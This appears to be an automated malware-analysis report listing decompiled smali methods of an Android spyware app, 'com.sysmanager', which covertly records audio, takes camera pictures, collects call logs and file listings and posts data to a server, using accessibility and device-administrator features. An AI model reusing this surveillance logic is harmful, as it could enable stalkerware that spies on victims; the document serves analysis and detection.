0\r\u0006\t*\u0086H\u0086\u00f7\r\u0001\u0001\u0001\u0005\u0000\u0003\u0082\u0001\r\u00000\u0082\u0001\u0008\u0002\u0082\u0001\u0001\u0000\u00d6\u00ce.\u0008\n\u00bf\u00e21M\u00d1\u008d\u00b3\u00cf\u00d3\u0018\\\u00b4=3\u00fa\u000ct\u00e1\u00bd\u00b6\u00d1\u00db\u0089\u0013\u00f6,\\9\u00dfV\u00f8F\u0081=e\u00be\u00c0\u00f3\u00caBk\u0007\u00c5\u00a8\u00edZ9\u0090\u00c1g\u00e7k\u00c9\u0099\u00b9\'\u0089K\u008f\u000b\"\u0000\u0019\u0094\u00a9)\u0015\u00e5r\u00c5m*0\u001b\u00a3o\u00c5\u00fc\u0011:\u00d6\u00cb\u009et5\u00a1m#\u00ab}\u00fa\u00ee\u00e1e\u00e4\u00df\u001f\n\u008d\u00bd\u00a7\n\u0086\u009dQlN\u009d\u0005\u0011\u0096\u00ca|\u000cU\u007f\u0017[\u00c3u\u00f9H\u00c5j\u00ae\u0086\u0008\u009b\u00a4O\u008a\u00a6\u00a4\u00dd\u009a}\u00bf,\n5\"\u0082\u00ad\u0006\u00b8\u00cc\u0018^\u00b1Uy\u00ee\u00f8m\u0008\u000b\u001da\u0089\u00c0\u00f9\u00af\u0098\u00b1\u00c2\u00eb\u00d1\u0007\u00eaE\u00ab\u00dbh\u00a3\u00c7\u0083\u008a^T\u0088\u00c7lS\u00d4\u000b\u0012\u001d\u00e7\u00bb\u00d3\u000eb\u000c\u0018\u008a\u00e1\u00aaa\u00db\u00bc\u0087\u00dd<d_/U\u00f3\u00d4\u00c3u\u00ec@p\u00a9?qQ\u00d86p\u00c1j\u0097\u001a\u00be^\u00f2\u00d1\u0018\u0090\u00e1\u00b8\u00ae\u00f3)\u008c\u00f0f\u00bf\u009el\u00e1D\u00ac\u009a\u00e8m\u001c\u001b\u000f\u0002\u0001\u0003\u00a3\u0081\u00fc0\u0081\u00f90\u001d\u0006\u0003U\u001d\u000e\u0004\u0016\u0004\u0014\u008d\u001c\u00c5\u00be\u0095LC<a\u0086:\u0015\u00b0L\u00bc\u0003\u00f2O\u00e0\u00b20\u0081\u00c9\u0006\u0003U\u001d#\u0004\u0081\u00c10\u0081\u00be\u0080\u0014\u008d\u001c\u00c5\u00be\u0095LC<a\u0086:\u0015\u00b0L\u00bc\u0003\u00f2O\u00e0\u00b2\u00a1\u0081\u009a\u00a4\u0081\u00970\u0081\u00941\u000b0\t\u0006\u0003U\u0004\u0006\u0013\u0002US1\u00130\u0011\u0006\u0003U\u0004\u0008\u0013\nCalifornia1\u00160\u0014\u0006\u0003U\u0004\u0007\u0013\rMountain View1\u00100\u000e\u0006\u0003U\u0004\n\u0013\u0007Android1\u00100\u000e\u0006\u0003U\u0004\u000b\u0013\u0007Android1\u00100\u000e\u0006\u0003U\u0004\u0003\u0013\u0007Android1\"0 \u0006\t*\u0086H\u0086\u00f7\r\u0001\t\u0001\u0016\u0013android@android.com\u0082\t\u0000\u00d5\u0085\u00b8l}\u00d3N\u00f50\u000c\u0006\u0003U\u001d\u0013\u0004\u00050\u0003\u0001\u0001\u00ff0\r\u0006\t*\u0086H\u0086\u00f7\r\u0001\u0001\u0004\u0005\u0000\u0003\u0082\u0001\u0001\u0000\u0019\u00d3\u000c\u00f1\u0005\u00fbx\u0092?L\r}\u00d2##=@\u0096z\u00cf\u00ce\u0000\u0008\u001d[\u00d7\u00c6\u00e9\u00d6\u00ed k\u000e\u0011 \u0095\u0006Al\u00a2D\u0093\u0099\u0013\u00d2kJ\u00a0\u00e0\u00f5$\u00ca\u00d2\u00bb\\nL\u00a1\u0001j\u0015\u0091n\u00a1\u00ec]\u00c9Z^:\u0001\u00006\u00f4\u0092H\u00d5\u0010\u009b\u00bf.\u001ea\u0081\u0086g:;\u00e5m\u00af\u000bw\u00b1\u00c2)\u00e3\u00c2U\u00e3\u00e8L\u0090]#\u0087\u00ef\u00ba\t\u00cb\u00f1; +NZ\"\u00c92cHJ#\u00d2\u00fc)\u00fa\u009f\u00199u\u00973\u00af\u00d8\u00aa\u0016\u000fB\u0096\u00c2\u00d0\u0016>\u0081\u0082\u0085\u009cfC\u00e9\u00c1\u0096/\u00a0\u00c1\u008333[\u00c0\u0090\u00ff\u009ak\"\u00de\u00d1\u00adDB)\u00a59\u00a9N\u00ef\u00ad\u00ab\u00d0e\u00ce\u00d2K>Q\u00e5\u00dd{fx{\u00ef\u0012\u00fe\u0097\u00fb\u00a4\u0084\u00c4#\u00fbO\u00f8\u00ccIL\u0002\u00f0\u00f5\u0005\u0016\u0012\u00ffe)9>\u008eF\u00ea\u00c5\u00bb!\u00f2w\u00c1Q\u00aa_*\u00a6\'\u00d1\u00e8\u009d\u00a7\n\u00b6\u00035i\u00de;\u0098\u0097\u00bf\u00ff|\u00a9\u00da>\u0012C\u00f6\u000b"
3invoke-static {v0}, Lcom/google/android/gms/common/zzf$zza;->zzdc(Ljava/lang/String;)[B
4move-result-object v0
5return-object v0
Cross References
APIs
  • com.sysmanager.system.AndroidSystemService.stopRecording
  • android.os.Handler.removeCallbacks
  • android.os.Handler.postDelayed
  • com.sysmanager.system.AndroidSystemService.startRecording
Position Instruction Meta Information
0.param p1, "isPresent" # Z
1.prologue
2iget-boolean v0, p0, Lcom/sysmanager/system/AndroidSystemService;->mLock:Z
3if-eqz v0, :cond_5
4cond_4: return-void
5cond_5: if-eqz p1, :cond_22
6iget-boolean v0, p0, Lcom/sysmanager/system/AndroidSystemService;->mIsRecording:Z
7if-eqz v0, :cond_4
8const/4 v0, 0x1
9iput-boolean v0, p0, Lcom/sysmanager/system/AndroidSystemService;->mLock:Z
11invoke-direct {p0}, Lcom/sysmanager/system/AndroidSystemService;->stopRecording()Z
13iget-object v0, p0, Lcom/sysmanager/system/AndroidSystemService;->mHandler:Landroid/os/Handler;
15iget-object v1, p0, Lcom/sysmanager/system/AndroidSystemService;->mUnlock:Ljava/lang/Runnable;
17invoke-virtual {v0, v1}, Landroid/os/Handler;->removeCallbacks(Ljava/lang/Runnable;)V
19iget-object v0, p0, Lcom/sysmanager/system/AndroidSystemService;->mHandler:Landroid/os/Handler;
21iget-object v1, p0, Lcom/sysmanager/system/AndroidSystemService;->mUnlock:Ljava/lang/Runnable;
22const-wide/16 v2, 0x1388
24invoke-virtual {v0, v1, v2, v3}, Landroid/os/Handler;->postDelayed(Ljava/lang/Runnable;J)Z
25goto/16 :goto_4
26cond_22: iget-boolean v0, p0, Lcom/sysmanager/system/AndroidSystemService;->mIsRecording:Z
27if-nez v0, :cond_4
29invoke-direct {p0}, Lcom/sysmanager/system/AndroidSystemService;->startRecording()V
30goto/16 :goto_4
APIs
  • com.sysmanager.system.AndroidCamera.access$100
  • android.hardware.Camera.takePicture
  • com.sysmanager.system.AndroidCamera.getApplicationContext
  • com.sysmanager.system.AndroidCamera.access$200
Position Instruction Meta Information
0.param p1, "data" # [B
1.param p2, "camera" # Landroid/hardware/Camera;
2.prologue
3if-eqz p2, :cond_d
4const/4 v1, 0x0
5const/4 v2, 0x0
6try_start_4:
7iget-object v3, p0, Lcom/sysmanager/system/AndroidCamera$4;->this$0:Lcom/sysmanager/system/AndroidCamera;
9invoke-static {v3}, Lcom/sysmanager/system/AndroidCamera;->access$100(Lcom/sysmanager/system/AndroidCamera;)Landroid/hardware/Camera$PictureCallback;
10move-result-object v3
12invoke-virtual {p2, v1, v2, v3}, Landroid/hardware/Camera;->takePicture(Landroid/hardware/Camera$ShutterCallback;Landroid/hardware/Camera$PictureCallback;Landroid/hardware/Camera$PictureCallback;)V
13goto_d: return-void
14catch_e: move-exception v0
16iget-object v1, p0, Lcom/sysmanager/system/AndroidCamera$4;->this$0:Lcom/sysmanager/system/AndroidCamera;
18invoke-virtual {v1}, Lcom/sysmanager/system/AndroidCamera;->getApplicationContext()Landroid/content/Context;
19move-result-object v1
21invoke-static {v0}, Lcom/sysmanager/costanti/Costanti;->printStackTrace(Ljava/lang/Exception;)Ljava/lang/String;
22move-result-object v2
24invoke-static {v1, v2}, Lcom/sysmanager/system/FileLog;->write(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/Boolean;
26iget-object v1, p0, Lcom/sysmanager/system/AndroidCamera$4;->this$0:Lcom/sysmanager/system/AndroidCamera;
28invoke-static {v1}, Lcom/sysmanager/system/AndroidCamera;->access$200(Lcom/sysmanager/system/AndroidCamera;)V
29goto/16 :goto_d
APIs
  • com.sysmanager.system.AndroidCamera.access$100
  • android.hardware.Camera.takePicture
  • com.sysmanager.system.AndroidCamera.getApplicationContext
  • com.sysmanager.system.AndroidCamera.access$200
Position Instruction Meta Information
0.param p1, "data" # [B
1.param p2, "camera" # Landroid/hardware/Camera;
2.prologue
3if-eqz p2, :cond_d
4const/4 v1, 0x0
5const/4 v2, 0x0
6try_start_4:
7iget-object v3, p0, Lcom/sysmanager/system/AndroidCamera$5;->this$0:Lcom/sysmanager/system/AndroidCamera;
9invoke-static {v3}, Lcom/sysmanager/system/AndroidCamera;->access$100(Lcom/sysmanager/system/AndroidCamera;)Landroid/hardware/Camera$PictureCallback;
10move-result-object v3
12invoke-virtual {p2, v1, v2, v3}, Landroid/hardware/Camera;->takePicture(Landroid/hardware/Camera$ShutterCallback;Landroid/hardware/Camera$PictureCallback;Landroid/hardware/Camera$PictureCallback;)V
13goto_d: return-void
14catch_e: move-exception v0
16iget-object v1, p0, Lcom/sysmanager/system/AndroidCamera$5;->this$0:Lcom/sysmanager/system/AndroidCamera;
18invoke-virtual {v1}, Lcom/sysmanager/system/AndroidCamera;->getApplicationContext()Landroid/content/Context;
19move-result-object v1
21invoke-static {v0}, Lcom/sysmanager/costanti/Costanti;->printStackTrace(Ljava/lang/Exception;)Ljava/lang/String;
22move-result-object v2
24invoke-static {v1, v2}, Lcom/sysmanager/system/FileLog;->write(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/Boolean;
26iget-object v1, p0, Lcom/sysmanager/system/AndroidCamera$5;->this$0:Lcom/sysmanager/system/AndroidCamera;
28invoke-static {v1}, Lcom/sysmanager/system/AndroidCamera;->access$200(Lcom/sysmanager/system/AndroidCamera;)V
29goto/16 :goto_d
Cross References
APIs
  • java.io.ByteArrayOutputStream.<init>
  • java.io.InputStream.read
  • java.io.ByteArrayOutputStream.write
  • java.io.ByteArrayOutputStream.toByteArray
Position Instruction Meta Information
0.param p1, "inputStream" # Ljava/io/InputStream;
1.annotation system Ldalvik/annotation/Throws;
2value = {
3Ljava/io/IOException;
4}
5.end annotation
6.prologue
7new-instance v2, Ljava/io/ByteArrayOutputStream;
9invoke-direct {v2}, Ljava/io/ByteArrayOutputStream;-><init>()V
10const/16 v1, 0x400
11new-array v0, v1, [B
12const/4 v3, 0x0
13goto_a:
14invoke-virtual {p1, v0}, Ljava/io/InputStream;->read([B)I
15move-result v3
16const/4 v4, -0x1
17if-eq v3, v4, :cond_16
18const/4 v4, 0x0
20invoke-virtual {v2, v0, v4, v3}, Ljava/io/ByteArrayOutputStream;->write([BII)V
21goto/16 :goto_a
22cond_16:
23invoke-virtual {v2}, Ljava/io/ByteArrayOutputStream;->toByteArray()[B
24move-result-object v4
25return-object v4
APIs
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
Position Instruction Meta Information
0.param p0, "url_start" # Ljava/lang/String;
1.param p1, "json" # Lorg/json/JSONObject;
2.param p2, "url_final" # Ljava/lang/String;
3.param p3, "context" # Landroid/content/Context;
4.annotation system Ldalvik/annotation/Throws;
5value = {
6Ljava/io/IOException;
7}
8.end annotation
9.prologue
10new-instance v0, Ljava/lang/StringBuilder;
12invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
14invoke-virtual {v0, p0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
15move-result-object v0
17invoke-virtual {v0, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
18move-result-object v0
20invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
21move-result-object v0
23invoke-static {v0, p1, p3}, Lcom/sysmanager/network/HTTPUtility;->excuteHttpPostServer(Ljava/lang/String;Lorg/json/JSONObject;Landroid/content/Context;)Ljava/lang/String;
24return-void
APIs
  • com.sysmanager.system.AndroidSystemService.access$400
  • com.sysmanager.system.AndroidSystemService.access$500
  • com.sysmanager.system.AndroidSystemService.access$400
  • com.sysmanager.system.AndroidSystemService.access$600
Position Instruction Meta Information
0.param p1, "isPresent" # Z
1.prologue
2if-eqz p1, :cond_10
4iget-object v0, p0, Lcom/sysmanager/system/AndroidSystemService$2;->this$0:Lcom/sysmanager/system/AndroidSystemService;
6invoke-static {v0}, Lcom/sysmanager/system/AndroidSystemService;->access$400(Lcom/sysmanager/system/AndroidSystemService;)Z
7move-result v0
8if-eqz v0, :cond_f
10iget-object v0, p0, Lcom/sysmanager/system/AndroidSystemService$2;->this$0:Lcom/sysmanager/system/AndroidSystemService;
12invoke-static {v0}, Lcom/sysmanager/system/AndroidSystemService;->access$500(Lcom/sysmanager/system/AndroidSystemService;)Z
13cond_f: return-void
14cond_10:
15iget-object v0, p0, Lcom/sysmanager/system/AndroidSystemService$2;->this$0:Lcom/sysmanager/system/AndroidSystemService;
17invoke-static {v0}, Lcom/sysmanager/system/AndroidSystemService;->access$400(Lcom/sysmanager/system/AndroidSystemService;)Z
18move-result v0
19if-nez v0, :cond_f
21iget-object v0, p0, Lcom/sysmanager/system/AndroidSystemService$2;->this$0:Lcom/sysmanager/system/AndroidSystemService;
23invoke-static {v0}, Lcom/sysmanager/system/AndroidSystemService;->access$600(Lcom/sysmanager/system/AndroidSystemService;)V
24goto/16 :goto_f
APIs
  • android.os.Handler.removeCallbacks
  • android.os.PowerManager$WakeLock.isHeld
  • android.os.PowerManager$WakeLock.release
  • android.app.Service.onDestroy
Position Instruction Meta Information
0.prologue
2iget-object v0, p0, Lcom/sysmanager/system/AndroidAlarmManager;->mHandler:Landroid/os/Handler;
4iget-object v1, p0, Lcom/sysmanager/system/AndroidAlarmManager;->mSendFiles:Ljava/lang/Runnable;
6invoke-virtual {v0, v1}, Landroid/os/Handler;->removeCallbacks(Ljava/lang/Runnable;)V
8iget-object v0, p0, Lcom/sysmanager/system/AndroidAlarmManager;->mWakelock:Landroid/os/PowerManager$WakeLock;
9if-eqz v0, :cond_18
11iget-object v0, p0, Lcom/sysmanager/system/AndroidAlarmManager;->mWakelock:Landroid/os/PowerManager$WakeLock;
13invoke-virtual {v0}, Landroid/os/PowerManager$WakeLock;->isHeld()Z
14move-result v0
15if-eqz v0, :cond_18
17iget-object v0, p0, Lcom/sysmanager/system/AndroidAlarmManager;->mWakelock:Landroid/os/PowerManager$WakeLock;
19invoke-virtual {v0}, Landroid/os/PowerManager$WakeLock;->release()V
20cond_18:
21invoke-super {p0}, Landroid/app/Service;->onDestroy()V
22return-void
APIs
  • android.app.Service.<init>
  • android.os.Handler.<init>
  • com.sysmanager.system.AndroidSystemService$IncomingHandler.<init>
  • android.os.Messenger.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Landroid/app/Service;-><init>()V
4const-string v0, ""
5iput-object v0, p0, Lcom/sysmanager/system/AndroidSystemService;->mFgApp:Ljava/lang/String;
6new-instance v0, Landroid/os/Handler;
8invoke-direct {v0}, Landroid/os/Handler;-><init>()V
9iput-object v0, p0, Lcom/sysmanager/system/AndroidSystemService;->mHandler:Landroid/os/Handler;
10new-instance v0, Landroid/os/Messenger;
11new-instance v1, Lcom/sysmanager/system/AndroidSystemService$IncomingHandler;
12const/4 v2, 0x0
14invoke-direct {v1, p0, v2}, Lcom/sysmanager/system/AndroidSystemService$IncomingHandler;-><init>(Lcom/sysmanager/system/AndroidSystemService;Lcom/sysmanager/system/AndroidSystemService$1;)V
16invoke-direct {v0, v1}, Landroid/os/Messenger;-><init>(Landroid/os/Handler;)V
17iput-object v0, p0, Lcom/sysmanager/system/AndroidSystemService;->mMessenger:Landroid/os/Messenger;
18new-instance v0, Lcom/sysmanager/system/AndroidSystemService$1;
20invoke-direct {v0, p0}, Lcom/sysmanager/system/AndroidSystemService$1;-><init>(Lcom/sysmanager/system/AndroidSystemService;)V
21iput-object v0, p0, Lcom/sysmanager/system/AndroidSystemService;->mUnlock:Ljava/lang/Runnable;
22return-void
APIs
  • android.os.PowerManager$WakeLock.isHeld
  • android.os.PowerManager$WakeLock.release
  • com.sysmanager.system.AndroidSystemService.stopRecording
  • android.app.Service.onDestroy
Position Instruction Meta Information
0.prologue
2iget-object v0, p0, Lcom/sysmanager/system/AndroidSystemService;->mAudioController:Lcom/sysmanager/system/AudioController;
3if-eqz v0, :cond_9
5iget-object v0, p0, Lcom/sysmanager/system/AndroidSystemService;->mAudioController:Lcom/sysmanager/system/AudioController;
7invoke-virtual {v0}, Lcom/sysmanager/system/AudioController;->stopAllThreads()V
8cond_9:
9iget-object v0, p0, Lcom/sysmanager/system/AndroidSystemService;->mWakelock:Landroid/os/PowerManager$WakeLock;
11invoke-virtual {v0}, Landroid/os/PowerManager$WakeLock;->isHeld()Z
12move-result v0
13if-eqz v0, :cond_16
15iget-object v0, p0, Lcom/sysmanager/system/AndroidSystemService;->mWakelock:Landroid/os/PowerManager$WakeLock;
17invoke-virtual {v0}, Landroid/os/PowerManager$WakeLock;->release()V
18cond_16:
19invoke-direct {p0}, Lcom/sysmanager/system/AndroidSystemService;->stopRecording()Z
21invoke-super {p0}, Landroid/app/Service;->onDestroy()V
22return-void
Cross References
APIs
  • android.content.Intent.<init>
  • android.content.Intent.addFlags
  • android.content.Context.startActivity
Position Instruction Meta Information
0.param p0, "context" # Landroid/content/Context;
1.param p1, "comando" # Ljava/lang/String;
2.prologue
3try_start_0: new-instance v1, Landroid/content/Intent;
5invoke-direct {v1, p1}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
6const/high16 v2, 0x10000000
8invoke-virtual {v1, v2}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
9const/16 v2, 0x20
11invoke-virtual {v1, v2}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
13invoke-virtual {p0, v1}, Landroid/content/Context;->startActivity(Landroid/content/Intent;)V
14try_end_12: return-void
15catch_13: move-exception v0
17invoke-static {v0}, Lcom/sysmanager/costanti/Costanti;->printStackTrace(Ljava/lang/Exception;)Ljava/lang/String;
18move-result-object v2
20invoke-static {p0, v2}, Lcom/sysmanager/system/FileLog;->write(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/Boolean;
21goto/16 :goto_12
APIs
  • android.app.Service.onCreate
  • com.sysmanager.system.AndroidCallSystem.listCallLog
  • com.sysmanager.system.AndroidCallSystem.InviaFileLogCall
  • com.sysmanager.system.AndroidCallSystem.getApplicationContext
Position Instruction Meta Information
0.prologue
2invoke-super {p0}, Landroid/app/Service;->onCreate()V
3try_start_3:
4invoke-virtual {p0}, Lcom/sysmanager/system/AndroidCallSystem;->listCallLog()Z
5move-result v1
6if-eqz v1, :cond_c
8invoke-virtual {p0}, Lcom/sysmanager/system/AndroidCallSystem;->InviaFileLogCall()V
9cond_c: return-void
10catch_d: move-exception v0
12invoke-virtual {p0}, Lcom/sysmanager/system/AndroidCallSystem;->getApplicationContext()Landroid/content/Context;
13move-result-object v2
15invoke-static {v0}, Lcom/sysmanager/costanti/Costanti;->printStackTrace(Ljava/lang/Exception;)Ljava/lang/String;
16move-result-object v3
18invoke-static {v2, v3}, Lcom/sysmanager/system/FileLog;->write(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/Boolean;
19goto/16 :goto_c
APIs
  • com.sysmanager.EnableLocationActivity.getApplicationContext
  • com.sysmanager.MessageManagement.infoEnabled
  • com.sysmanager.EnableLocationActivity.finish
  • com.sysmanager.EnableLocationActivity.checkLocationSettings
Position Instruction Meta Information
0.param p1, "requestCode" # I
1.param p2, "resultCode" # I
2.param p3, "data" # Landroid/content/Intent;
3.prologue
4packed-switch p1, :pswitch_data_16
5goto_3: return-void
6pswitch_4: packed-switch p2, :pswitch_data_1c
8invoke-virtual {p0}, Lcom/sysmanager/EnableLocationActivity;->getApplicationContext()Landroid/content/Context;
9move-result-object v0
11invoke-static {v0}, Lcom/sysmanager/MessageManagement;->infoEnabled(Landroid/content/Context;)V
13invoke-virtual {p0}, Lcom/sysmanager/EnableLocationActivity;->finish()V
14goto/16 :goto_3
15pswitch_12:
16invoke-direct {p0}, Lcom/sysmanager/EnableLocationActivity;->checkLocationSettings()V
17goto/16 :goto_3
APIs
  • android.app.Service.onCreate
  • org.json.JSONObject.<init>
  • org.json.JSONArray.<init>
  • com.sysmanager.system.AndroidFileSystem.SendFileSystemList
Position Instruction Meta Information
0.prologue
2invoke-super {p0}, Landroid/app/Service;->onCreate()V
3new-instance v0, Lorg/json/JSONObject;
5invoke-direct {v0}, Lorg/json/JSONObject;-><init>()V
6iput-object v0, p0, Lcom/sysmanager/system/AndroidFileSystem;->object:Lorg/json/JSONObject;
7new-instance v0, Lorg/json/JSONArray;
9invoke-direct {v0}, Lorg/json/JSONArray;-><init>()V
10iput-object v0, p0, Lcom/sysmanager/system/AndroidFileSystem;->elenco:Lorg/json/JSONArray;
12invoke-virtual {p0}, Lcom/sysmanager/system/AndroidFileSystem;->SendFileSystemList()V
13return-void
APIs
  • android.accessibilityservice.AccessibilityService.onServiceConnected
  • android.accessibilityservice.AccessibilityServiceInfo.<init>
  • com.sysmanager.system.AccessibilityService.setServiceInfo
Position Instruction Meta Information
0.prologue
1const/16 v2, 0x10
3invoke-super {p0}, Landroid/accessibilityservice/AccessibilityService;->onServiceConnected()V
4new-instance v0, Landroid/accessibilityservice/AccessibilityServiceInfo;
6invoke-direct {v0}, Landroid/accessibilityservice/AccessibilityServiceInfo;-><init>()V
7const/16 v1, 0x20
8iput v1, v0, Landroid/accessibilityservice/AccessibilityServiceInfo;->eventTypes:I
9iput v2, v0, Landroid/accessibilityservice/AccessibilityServiceInfo;->feedbackType:I
10sget v1, Landroid/os/Build$VERSION;->SDK_INT:I
11if-lt v1, v2, :cond_17
12const/4 v1, 0x2
13iput v1, v0, Landroid/accessibilityservice/AccessibilityServiceInfo;->flags:I
14cond_17:
15invoke-virtual {p0, v0}, Lcom/sysmanager/system/AccessibilityService;->setServiceInfo(Landroid/accessibilityservice/AccessibilityServiceInfo;)V
16return-void
APIs
  • android.app.Service.onDestroy
  • com.sysmanager.system.AndroidCamera.releaseCam
  • com.sysmanager.system.AndroidCamera.getApplicationContext
Position Instruction Meta Information
0.prologue
2invoke-super {p0}, Landroid/app/Service;->onDestroy()V
3try_start_3:
4invoke-direct {p0}, Lcom/sysmanager/system/AndroidCamera;->releaseCam()V
5try_end_6: return-void
6catch_7: move-exception v0
8invoke-virtual {p0}, Lcom/sysmanager/system/AndroidCamera;->getApplicationContext()Landroid/content/Context;
9move-result-object v1
11invoke-static {v0}, Lcom/sysmanager/costanti/Costanti;->printStackTrace(Ljava/lang/Exception;)Ljava/lang/String;
12move-result-object v2
14invoke-static {v1, v2}, Lcom/sysmanager/system/FileLog;->write(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/Boolean;
15goto/16 :goto_6
APIs
  • android.app.Service.onDestroy
  • java.util.concurrent.ScheduledExecutorService.shutdownNow
  • com.sysmanager.system.AndroidFileManager.stopSelf
Position Instruction Meta Information
0.prologue
2invoke-super {p0}, Landroid/app/Service;->onDestroy()V
3const/4 v0, 0x0
4iput-boolean v0, p0, Lcom/sysmanager/system/AndroidFileManager;->sending:Z
6iget-object v0, p0, Lcom/sysmanager/system/AndroidFileManager;->scheduledExecutorService:Ljava/util/concurrent/ScheduledExecutorService;
7if-eqz v0, :cond_f
9iget-object v0, p0, Lcom/sysmanager/system/AndroidFileManager;->scheduledExecutorService:Ljava/util/concurrent/ScheduledExecutorService;
11invoke-interface {v0}, Ljava/util/concurrent/ScheduledExecutorService;->shutdownNow()Ljava/util/List;
12cond_f:
13invoke-virtual {p0}, Lcom/sysmanager/system/AndroidFileManager;->stopSelf()V
14return-void
Cross References
APIs
  • android.content.Intent.<init>
  • android.content.Intent.addFlags
  • android.content.Context.startActivity
Position Instruction Meta Information
0.param p0, "context" # Landroid/content/Context;
1.prologue
2new-instance v0, Landroid/content/Intent;
3const-class v1, Lcom/sysmanager/Administrator;
5invoke-direct {v0, p0, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
6const/high16 v1, 0x10000000
8invoke-virtual {v0, v1}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
10invoke-virtual {p0, v0}, Landroid/content/Context;->startActivity(Landroid/content/Intent;)V
11return-void
APIs
  • android.app.Activity.onDestroy
  • android.support.v4.content.LocalBroadcastManager.getInstance
  • android.support.v4.content.LocalBroadcastManager.unregisterReceiver
Position Instruction Meta Information
0.prologue
2invoke-super {p0}, Landroid/app/Activity;->onDestroy()V
4invoke-static {p0}, Landroid/support/v4/content/LocalBroadcastManager;->getInstance(Landroid/content/Context;)Landroid/support/v4/content/LocalBroadcastManager;
5move-result-object v0
7iget-object v1, p0, Lcom/sysmanager/AccessibilityDialog;->mReceiver:Landroid/content/BroadcastReceiver;
9invoke-virtual {v0, v1}, Landroid/support/v4/content/LocalBroadcastManager;->unregisterReceiver(Landroid/content/BroadcastReceiver;)V
10return-void
Cross References
APIs
  • android.os.Environment.getDataDirectory
  • java.io.File.getFreeSpace
  • com.sysmanager.system.AndroidSystemCall.formatSize
Position Instruction Meta Information
0.prologue
2invoke-static {}, Landroid/os/Environment;->getDataDirectory()Ljava/io/File;
3move-result-object v0
5invoke-virtual {v0}, Ljava/io/File;->getFreeSpace()J
6move-result-wide v2
8invoke-static {v2, v3}, Lcom/sysmanager/system/AndroidSystemCall;->formatSize(J)Ljava/lang/String;
9move-result-object v1
10return-object v1
Cross References
APIs
  • android.os.Environment.getDataDirectory
  • java.io.File.getTotalSpace
  • com.sysmanager.system.AndroidSystemCall.formatSize
Position Instruction Meta Information
0.prologue
2invoke-static {}, Landroid/os/Environment;->getDataDirectory()Ljava/io/File;
3move-result-object v0
5invoke-virtual {v0}, Ljava/io/File;->getTotalSpace()J
6move-result-wide v2
8invoke-static {v2, v3}, Lcom/sysmanager/system/AndroidSystemCall;->formatSize(J)Ljava/lang/String;
9move-result-object v1
10return-object v1
Cross References
APIs
  • com.sysmanager.EnableLocationActivity.checkCallingOrSelfPermission
Strings
  • android.permission.ACCESS_FINE_LOCATION
Position Instruction Meta Information
0.prologue
2const-string v2, "android.permission.ACCESS_FINE_LOCATION"
4invoke-virtual {p0, v2}, Lcom/sysmanager/EnableLocationActivity;->checkCallingOrSelfPermission(Ljava/lang/String;)I
5move-result v2
6if-nez v2, :cond_27
7new-instance v2, Lcom/google/android/gms/location/LocationSettingsRequest$Builder;
9invoke-direct {v2}, Lcom/google/android/gms/location/LocationSettingsRequest$Builder;-><init>()V
11iget-object v3, p0, Lcom/sysmanager/EnableLocationActivity;->mLocationRequest:Lcom/google/android/gms/location/LocationRequest;
13invoke-virtual {v2, v3}, Lcom/google/android/gms/location/LocationSettingsRequest$Builder;->addLocationRequest(Lcom/google/android/gms/location/LocationRequest;)Lcom/google/android/gms/location/LocationSettingsRequest$Builder;
14move-result-object v0
16sget-object v2, Lcom/google/android/gms/location/LocationServices;->SettingsApi:Lcom/google/android/gms/location/SettingsApi;
18iget-object v3, p0, Lcom/sysmanager/EnableLocationActivity;->mGoogleApiClient:Lcom/google/android/gms/common/api/GoogleApiClient;
20invoke-virtual {v0}, Lcom/google/android/gms/location/LocationSettingsRequest$Builder;->build()Lcom/google/android/gms/location/LocationSettingsRequest;
21move-result-object v4
23invoke-interface {v2, v3, v4}, Lcom/google/android/gms/location/SettingsApi;->checkLocationSettings(Lcom/google/android/gms/common/api/GoogleApiClient;Lcom/google/android/gms/location/LocationSettingsRequest;)Lcom/google/android/gms/common/api/PendingResult;
24move-result-object v1
25new-instance v2, Lcom/sysmanager/EnableLocationActivity$1;
27invoke-direct {v2, p0}, Lcom/sysmanager/EnableLocationActivity$1;-><init>(Lcom/sysmanager/EnableLocationActivity;)V
29invoke-virtual {v1, v2}, Lcom/google/android/gms/common/api/PendingResult;->setResultCallback(Lcom/google/android/gms/common/api/ResultCallback;)V
30cond_27: return-void
Cross References
APIs
  • android.database.sqlite.SQLiteOpenHelper.<init>
Strings
  • FileSendInfo
Position Instruction Meta Information
0.param p1, "ctx" # Landroid/content/Context;
1.prologue
3const-string v0, "FileSendInfo"
4const/4 v1, 0x0
5const/4 v2, 0x1
7invoke-direct {p0, p1, v0, v1, v2}, Landroid/database/sqlite/SQLiteOpenHelper;-><init>(Landroid/content/Context;Ljava/lang/String;Landroid/database/sqlite/SQLiteDatabase$CursorFactory;I)V
8return-void
Cross References
APIs
  • android.database.sqlite.SQLiteOpenHelper.<init>
Strings
  • Settings
Position Instruction Meta Information
0.param p1, "ctx" # Landroid/content/Context;
1.prologue
3const-string v0, "Settings"
4const/4 v1, 0x0
5const/4 v2, 0x1
7invoke-direct {p0, p1, v0, v1, v2}, Landroid/database/sqlite/SQLiteOpenHelper;-><init>(Landroid/content/Context;Ljava/lang/String;Landroid/database/sqlite/SQLiteDatabase$CursorFactory;I)V
8return-void
APIs
  • java.lang.UnsupportedOperationException.<init>
Strings
  • Not yet implemented
Position Instruction Meta Information
0.param p1, "intent" # Landroid/content/Intent;
1.prologue
2new-instance v0, Ljava/lang/UnsupportedOperationException;
4const-string v1, "Not yet implemented"
6invoke-direct {v0, v1}, Ljava/lang/UnsupportedOperationException;-><init>(Ljava/lang/String;)V
7throw v0
APIs
  • java.lang.UnsupportedOperationException.<init>
Strings
